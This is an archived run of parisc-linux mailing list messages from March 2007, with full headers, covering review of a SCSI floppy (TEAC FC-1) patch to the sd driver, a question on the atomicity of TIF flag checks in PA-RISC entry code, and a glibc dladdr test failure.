X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vfSJL7ptaHI+4aWnKSUl9EVqamdhZAQQ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24432

On Mon, Mar 05, 2007 at 05:17:38PM -0500, James K. Love wrote:
> All:
> 
> I've just merged my flexible disk changes (see thread link below) into the
> latest scsi disk driver source.  These changes add scsi-floppy disk support
> (particularly HP's revs of the TEAC FC-1 drive) to the scsi disk driver.  Per
> Matthew's suggestion, I'm cowardly posting here first to get some feedback,
> rather than posting straight to linux-scsi.

That's fine. In general, very nice work!
I only have some some coding style issues and one question.

> --- ./drivers/scsi/sd.orig	2007-02-25 22:46:56.000000000 -0500
> +++ ./drivers/scsi/sd.c	2007-03-04 21:26:00.000000000 -0500
...
> +#ifdef __BIG_ENDIAN_BITFIELD
> +	unsigned char   true_rdy            : 1;
> +	unsigned char   start_sector_number : 1;
> +	unsigned char   motor_on            : 1;
> +	unsigned char   reserved2           : 5;
> +	unsigned char   reserved3           : 4;
> +	unsigned char   step_pulse_per_cyl  : 4;
> +#else
> +	unsigned char   reserved2           : 5;
> +	unsigned char   motor_on            : 1;
> +	unsigned char   start_sector_number : 1;
> +	unsigned char   true_rdy            : 1;
> +	unsigned char   step_pulse_per_cyl  : 4;
> +	unsigned char   reserved3           : 4;
> +#endif

I prefer bit masks over bit fields for two reasons:
1) don't have the endian mess
2) assignment to bit fields are NOT atomic - they are read/modify/write ops.
   Use of bit fields hides this behavior.

But if you prefer them, I don't think their use is prohibited in general.

...
> @@ -1535,6 +1626,11 @@ static int sd_revalidate_disk(struct gen
>  	struct scsi_device *sdp = sdkp->device;
>  	unsigned char *buffer;
>  	unsigned ordered;
> +	char mode_buf[0xFF];
> +	scsi_mode_sense_page5_t* page5 = NULL;
> +	struct scsi_mode_data data;
> +	int length = 0;
> +	int res = 0;

Could these new local vars be moved into the code block inside
the "if ()" statement where they are used?

Just makes it easier to understand variable usage when reviewing
the code in the future.

>  	SCSI_LOG_HLQUEUE(3, printk("sd_revalidate_disk: disk=%s\n", disk->disk_name));
> 
> @@ -1563,6 +1659,66 @@ static int sd_revalidate_disk(struct gen
>  	sd_spinup_disk(sdkp, disk->disk_name);
> 
>  	/*
> +	 * Assuming here that this check will suffice for ID'ing a scsi floppy.
> +	 * Note that sd_spinup_disk sets media_present above.
> +	 */
> +	if (sdp->removable && (sdp->type != TYPE_MOD)
> +	                   && sdkp->media_present) {
> +		memset(&data, 0, sizeof(data));
> +		memset(&mode_buf, 0, sizeof(mode_buf));
...

This code chunk is long enough that it should be it's own subroutine.
Would that be difficult?

...
> +		/* store the drive's geometry info we just read */
> +		sf_heads = page5->number_of_heads;
> +		sf_sectors = page5->sectors_per_track;
> +		sf_cylinders = page5->number_of_cylinders_msb << 8
> +		               | page5->number_of_cylinders_lsb;

I'm kinda nervous about the use of static globals to "return" the
result of the previous code. In case some whacko decided to
have two scsi floppies with different media types, would this break?

Can't we directly park this info into the per disk data struct?

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "James K. Love" <jlove@scires.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] sd: Adds flexible disk (TEAC FC-1,
	scsi-floppy) support to scsi disk driver
Date: Fri, 09 Mar 2007 10:51:01 -0500
Organization: Scientific Research Corporation
Lines: 33
Approved: news@gmane.org
Message-ID: <45F18265.3040809__9719.07934076644$1416624323$gmane$org@scires.com>
References: <45B67554.6010208@scires.com>
	<20070124162810.GA31075@colo.lackof.org>
	<45CB5C9D.1070601@scires.com>
	<20070208173808.GL13101@parisc-linux.org>
	<45EC9702.9080107@scires.com>
	<20070308065323.GB26641@colo.lackof.org>
	<45F0260A.7080306@scires.com>
	<20070308182601.GA18689@colo.lackof.org>
Reply-To: jlove@scires.com
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624323 23447 80.91.229.3 (22 Nov 2014 02:45:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:23 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2007 15:51:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx021) with SMTP; 09 Mar 2007 16:51:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B079C7DA21;
	Fri,  9 Mar 2007 08:51:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27802-06; Fri, 9 Mar 2007 08:51:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8479A7DA10;
	Fri,  9 Mar 2007 08:51:36 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 496A77DA03
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Mar 2007 08:51:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27802-03 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Mar 2007 08:51:30 -0700 (MST)
Original-Received: from SRCMAIL.scires.com (mail.scires.com [64.16.131.4])
	by free.linux.hp.com (Postfix) with ESMTP id 3A02C7DA02
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Mar 2007 08:51:30 -0700 (MST)
Original-Received: from [127.0.0.1] (523.chs.spawar.navy.mil [150.125.116.2])
	by SRCMAIL.scires.com with ESMTP; Fri, 09 Mar 2007 10:51:34 -0500
User-Agent: Thunderbird 1.5.0.10 (Windows/20070221)
In-Reply-To: <20070308182601.GA18689@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 2eeDZcV1eSE59b6WZHQhKRp2IGRvbwB/
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24433

On 3/8/2007 1:26 PM, Grant Grundler wrote:
> welcome :)
> kudos for chasing this.

No Problem.  I can't think of anything more exciting than finally getting an
obscure, antiquated, low-capacity, franken-drive like the TEAC FC-1 working.
But seriously, I hope someone else finds this patch useful.

> It sounds good but it's totally not obvious this was the intent.
> If you are "hard coding" the geometry, then can't you just use #define?

Yes or consts, whichever is preferable.  The drive geometry is always initially
incorrect, so I must set it to the correct values.  These values should always
be the same for THIS drive... which leads me to...

> I expect there are other "device->removable && !TYPE_MOD" devices.

You would know this better than I, so I'll defer to you.  I was always a bit
uncomfortable making this assumption, which I documented in a comment in the
code.  When the scsi driver attaches to my devices, they are all of TYPE_DISK
and removable.  I was hoping someone else could test this out with a different
scsi-floppy drive, but there may not be any others.  Would it be a better idea
to use model and vendor information to exactly identify the drive as a TEAC FC-1?

Regards,
James Love

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problem with atomicity of TIF for parisc ?
Date: Fri, 9 Mar 2007 20:07:32 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <200703092007.32746.deller__32317.9801962853$1416624324$gmane$org@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624324 23451 80.91.229.3 (22 Nov 2014 02:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 09 Mar 2007 19:07:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 09 Mar 2007 20:07:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ED0F97DA46;
	Fri,  9 Mar 2007 12:07:43 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28953-05; Fri, 9 Mar 2007 12:07:43 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 98CD37DA48;
	Fri,  9 Mar 2007 12:07:41 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C25E7DA44
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Mar 2007 12:07:38 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 28953-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 9 Mar 2007 12:07:37 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id 7DB5A7DA20
	for <parisc-linux@lists.parisc-linux.org>;
	Fri,  9 Mar 2007 12:07:36 -0700 (MST)
Original-Received: (qmail invoked by alias); 09 Mar 2007 19:07:34 -0000
Original-Received: from mnhm-590c21c4.pool.einsundeins.de (EHLO p100.box) [89.12.33.196]
	by mail.gmx.net (mp046) with SMTP; 09 Mar 2007 20:07:34 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.6
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 4NmUBBMbfW4o8+WveGVoaktmdmllckWT
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24434

While reading LKML I saw the patches by Mathieu Desnoyers <mathieu.desnoyers@polymtl.ca> titled
"Fix atomicity of TIF update in flush_thread() for XXX"
e.g. http://permalink.gmane.org/gmane.linux.kernel/502597

Now I'm wondering if our thread-problems may be due the fact that we do not disable interrupts while testing the TIF_XX values in arch/parisc/kernel/entry.S, e.g.:

intr_return:
        /* NOTE: Need to enable interrupts incase we schedule. */
        ssm     PSW_SM_I, %r0
<....>
intr_check_resched:
        /* check for reschedule */
        mfctl   %cr30,%r1
        LDREG   TI_FLAGS(%r1),%r19      /* sched.h: TIF_NEED_RESCHED */
        bb,<,n  %r19,31-TIF_NEED_RESCHED,intr_do_resched /* forward */

Is the coding correct, or do we need to disable interrupts when checking TIF_NEED_RESCHED ?
(There are more TIF_XXX places in entry.S as well which might need checking then...)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with atomicity of TIF for parisc ?
Date: Sat, 10 Mar 2007 09:03:24 -0500
Lines: 8
Approved: news@gmane.org
Message-ID: <20070310140324.GA31586__23298.082574229$1416624324$gmane$org@athena.road.mcmartin.ca>
References: <200703092007.32746.deller@gmx.de> <200703100006.l2A06o7Y012173@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624324 23458 80.91.229.3 (22 Nov 2014 02:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:24 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
 parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <kyle@athena.road.mcmartin.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2007 14:04:29 -0000
Original-Received: from stout.engsoc.carleton.ca (EHLO stout.engsoc.carleton.ca) [134.117.69.22]
  by mx0.gmx.net (mx045) with SMTP; 10 Mar 2007 15:04:29 +0100
Original-Received: from localhost (stout [127.0.0.1])
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id B73125840C5;
	Sat, 10 Mar 2007 09:04:26 -0500 (EST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by stout.engsoc.carleton.ca (Postfix) with ESMTP id 4A6345840C1;
	Sat, 10 Mar 2007 09:04:26 -0500 (EST)
Original-Received: from athena.road.mcmartin.ca (206-248-151-76.dsl.ncf.ca [206.248.151.76])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "roadwarrior.mcmartin.ca", Issuer "there.is.no.cabal.ca" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id EAE7B837DB;
	Sat, 10 Mar 2007 09:04:25 -0500 (EST)
Original-Received: by athena.road.mcmartin.ca (Postfix, from userid 1000)
	id C8E3E3B06E; Sat, 10 Mar 2007 09:03:24 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <200703100006.l2A06o7Y012173@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at engsoc.carleton.ca
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: pvyUL/ZiaHI+4aWnKSUl1hNqamdhZITK
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24435

On Fri, Mar 09, 2007 at 07:06:50PM -0500, John David Anglin wrote:
> 
> Is disabling interrupts sufficient on a SMP system?
> 

No. :/



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problem with atomicity of TIF for parisc ?
Date: Fri, 9 Mar 2007 19:06:50 -0500 (EST)
Lines: 31
Approved: news@gmane.org
Message-ID: <200703100006.l2A06o7Y012173__41336.9075315588$1416624324$gmane$org@hiauly1.hia.nrc.ca>
References: <200703092007.32746.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624324 23459 80.91.229.3 (22 Nov 2014 02:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 10 Mar 2007 00:06:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx070) with SMTP; 10 Mar 2007 01:06:53 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id l2A06oQU012174;
	Fri, 9 Mar 2007 19:06:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id l2A06o7Y012173;
	Fri, 9 Mar 2007 19:06:50 -0500 (EST)
In-Reply-To: <200703092007.32746.deller@gmx.de> from "Helge Deller" at Mar 9, 2007 08:07:32 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: rsHDdJU8Iyd1r/qQe2dr7Ylaa2FkZtVf
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24436

> Now I'm wondering if our thread-problems may be due the fact that we do not disable interrupts while testing the TIF_XX values in arch/parisc/kernel/entry.S, e.g.:

Do you have a testcase?  I'm still seeing the occasional thread test
fail in the GCC testsuite fail.  These are usually timeouts.  I'm not
seeing hung processes leading to a kernel crash anymore ;)

I also see output from a test truncated occasionally when a test generates
a lot of output.

> intr_return:
>         /* NOTE: Need to enable interrupts incase we schedule. */
>         ssm     PSW_SM_I, %r0
> <....>
> intr_check_resched:
>         /* check for reschedule */
>         mfctl   %cr30,%r1
>         LDREG   TI_FLAGS(%r1),%r19      /* sched.h: TIF_NEED_RESCHED */
>         bb,<,n  %r19,31-TIF_NEED_RESCHED,intr_do_resched /* forward */
> 
> Is the coding correct, or do we need to disable interrupts when checking TIF_NEED_RESCHED ?

The bb test clearly isn't atomic...

Is disabling interrupts sufficient on a SMP system?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc dladdr test failure
Date: Sun, 11 Mar 2007 20:17:50 +0100
Lines: 37
Approved: news@gmane.org
Message-ID: <20070311201750.0f280e87__27286.3079830588$1416624324$gmane$org@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624324 23463 80.91.229.3 (22 Nov 2014 02:45:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:24 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 19:23:52 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 11 Mar 2007 20:23:52 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 662187D9CE;
	Sun, 11 Mar 2007 13:23:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14590-10; Sun, 11 Mar 2007 13:23:47 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 399AB7D9DE;
	Sun, 11 Mar 2007 13:23:46 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DD21A7D903
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 13:23:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 14590-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 13:23:41 -0600 (MDT)
Original-Received: from smtp-out.coditel.net (smtp-out.coditel.net [212.95.66.33])
	by free.linux.hp.com (Postfix) with ESMTP id 1E1B97D8F4
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 13:23:41 -0600 (MDT)
Original-Received: from smtp.coditel.net (localhost.localdomain [127.0.0.1])
	by smtp-out.coditel.net (Postfix) with ESMTP id 2FCC4EB293
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 20:23:37 +0100 (CET)
Original-Received: from ibiza.bxl.tuxicoman.be (cable-85.28.84.48.coditel.net
	[85.28.84.48]) by smtp.coditel.net (Postfix) with ESMTP id B6FBC2FD0F
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 11 Mar 2007 20:23:28 +0100 (CET)
Original-Received: from [2001:6f8:310:400:216:6fff:fe8b:a] (helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.62)
	(envelope-from <gmsoft@gentoo.org>) id 1HQTdg-0001d3-2I
	for parisc-linux@lists.parisc-linux.org; Sun, 11 Mar 2007 20:23:28 +0100
X-Mailer: Claws Mail 2.6.1 (GTK+ 2.10.6; i686-pc-linux-gnu)
X-AV-Checked: clean on smtp.coditel.net
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: LCadKtIsMydywoigZWplggRraGRhZpqp
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24437



Hi all,


The dladdr test of the glibc testsuite fail for the following reason :

in elf/dl-addr.c:30, the address passed is transformed this way :
  const ElfW(Addr) addr = DL_LOOKUP_ADDRESS (address);


While in ports/sysdeps/hppa/dl-lookupcfg.h:35, you have this :

/* Clear the bottom two bits so generic code can find the fdesc entry */
#define DL_LOOKUP_ADDRESS(addr) \
  (_dl_lookup_address ((void *)((unsigned long)addr & ~3)))


If you don't apply this bitmask, addr is set to the original value of
the passed address and it is resolved correctly.

What should be the correct fix ?


  Guy


-- 
Guy Martin
Gentoo Linux - HPPA port lead

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:47 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc dladdr test failure
Date: Sun, 11 Mar 2007 15:53:45 -0400 (EDT)
Lines: 36
Approved: news@gmane.org
Message-ID: <200703111953.l2BJrkPM010167__6391.51642467386$1416624325$gmane$org@hiauly1.hia.nrc.ca>
References: <20070311201750.0f280e87@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624325 23468 80.91.229.3 (22 Nov 2014 02:45:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:25 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gmsoft@gentoo.org (Guy Martin)
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2007 19:54:00 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
